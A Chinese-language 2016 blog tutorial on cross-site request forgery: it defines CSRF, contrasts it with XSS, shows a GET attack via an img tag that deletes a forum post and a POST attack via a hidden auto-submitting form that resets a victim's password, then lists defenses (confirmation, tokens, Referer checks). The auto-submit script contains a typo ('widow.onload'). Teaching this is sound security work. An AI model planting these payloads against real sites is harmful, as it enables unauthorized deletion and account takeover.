4_CSRF

CSRF

当你登录某个网站时，通常浏览器与网站都会形成一个会话，在会话没有结束时你可以执行
发表文章、发邮件、删除文章等操作，若会话结束，你再操作的话会提示你会话已经结束，
请重新登录。
CSRF（客户端跨站请求伪造）就是：攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾认证过的网站并执行

一些操作。也可以说CSRF就是黑客利用受害者的Cookie骗取服务器的信任从而执行一些操作。

CSRF和SSRF都不能盗取Cookies

XSS区别

XSS利用的是用户对指定网站的信任

CSRF利用的是网站对用户网页浏览器的信任

 

利用

利用条件：
　　1.攻击者可以得知url的所有参数项并了解其含义。
　　2.诱导用户访问构造好的payload

　　3.简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。

利用地方：
　　1.操作是有意义的（比如：修改密码等）
　　2.验证过于简单（参数固定、我们可以设置参数）

 

 GET型CSRF攻击

若有论坛www.aa.com，论坛删除文章的操作是请求类似
http://www.aa.com/opt.php?id=135&act=del&name=Tom的链接
有用户A，他登录了论坛，且有篇文章id=251，那么他的浏览器此时已经取得了论坛的信任
此时有hacker用户B，他构造了一个src跳转html为b.html，b,html内容如下：

<html>
<head>
    <title>test</title>
</head>
<body>
    <img src="http://www.aa.com/opt.php?id=251&act=del&name=A" />
</body>
</html>
 将b.html放在他自己搭建的网站上，网址为http://www.bb.com/b.html
恶意用户B将链接http://www.bb.com/b.html通过qq发送给用户A，诱使他访问，用户A一旦访问，他id为251的文章就会被删除。

 POST型CSRF攻击

若网站www.xx.com有让用户修改密码的功能，但验证过于简单，形如下图：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>aa</title>
</head>
<body>
    <form action="http://172.23.10.200/index.php/User/Index/RegisterUpdate/id/286" method="post">
        昵称：<input type="text" name="password" id="password" class="form-control" value="xxxxx">
        用户名：<input type="text" name="password" id="password" class="form-control" value="xiaoming">
        密码：<input type="password" name="password" id="password" class="form-control" value="">
        确认密码：<input type="password" name="cpassword" id="conpassword" class="form-control" value="">
        <input type="submit" name="button" value="提交">
    </form>
</body>
</html>此时我们就可以构造自动提交表单的xxxx.html，内容如下：
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>test</title>
</head>
<body>
    <form action="http://172.23.10.200/index.php/User/Index/RegisterUpdate/id/286" method="post" id="test">
           <input type="hidden" name="password" id="password" value="666666">
           <input type="hidden" name="cpassword" id="conpassword" value="666666">
    </form>
    <script type="text/javascript">
        widow.onload= function(){
            document.getElementById('test').submit();
            // document.forms[0].submit();
        }
    </script>
</body>
</html>
 然后将链接http://www.bb.com/wwww.html发送给用户，诱使他点击链接，一旦他点击，则密码就会被修改

 防御

1.二次确认（如删除用户，转账等重要操作弹窗要求用户确认）
2.Token认证
　　GET操作请求：可以在Cookie中存储Token
　　POST操作请求：可以在form表单中添加一个隐藏的input标签，value值为Token
3.验证Referer

 资料

https://security.tencent.com/index.php/blog/msg/24

posted on 2016-08-26 16:04  Time_dog  阅读(250)  评论(0)    收藏  举报

导航